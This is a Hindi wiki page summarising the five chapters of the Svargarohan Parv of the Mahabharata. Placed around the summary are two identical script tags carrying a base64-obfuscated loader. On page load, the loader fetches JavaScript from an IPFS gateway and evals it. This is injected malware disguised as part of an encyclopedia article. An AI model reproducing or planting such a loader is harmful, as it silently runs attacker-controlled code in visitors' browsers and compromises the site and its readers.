स्वर्गारोहण पर्व महाभारत

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
आदित्य चौधरी (चर्चा | योगदान) द्वारा परिवर्तित ०७:१४, ९ जनवरी २०१० का अवतरण (Text replace - '{{Menu}}<br />' to '{{Menu}}')
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

स्वर्गारोहण पर्व / Svargarohan Parv

स्वर्गारोहण पर्व में कुल 5 अध्याय हैं। इस पर्व के अन्त में महाभारत की श्रवणविधि तथा महाभारत का माहात्म्य वर्णित है। इस पर्व के प्रथम अध्याय में स्वर्ग में नारद के साथ युधिष्ठिर का संवाद और द्वितीय अध्याय में देवदूत द्वारा युधिष्ठिर को नरकदर्शन और वहाँ भाइयों की चीख-पुकार सुनकर युधिष्ठिर का वहीं रहने का निश्चय वर्णित है। तृतीय अध्याय में इन्द्र और धर्म द्वारा युधिष्ठिर को सांत्वना प्रदान की जाती है।युधिष्ठिर शरीर त्यागकर स्वर्गलोक चले जाते हैं। चतुर्थ अध्याय में युधिष्ठिर दिव्य लोक में श्रीकृष्ण और अर्जुन से मिलते हैं। पंचम अध्याय में वहीं भीष्म आदि स्वजन भी अपने पूर्व स्वरूप में मिलते है। तत्पश्चात महाभारत का उपसंहार वर्णित है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>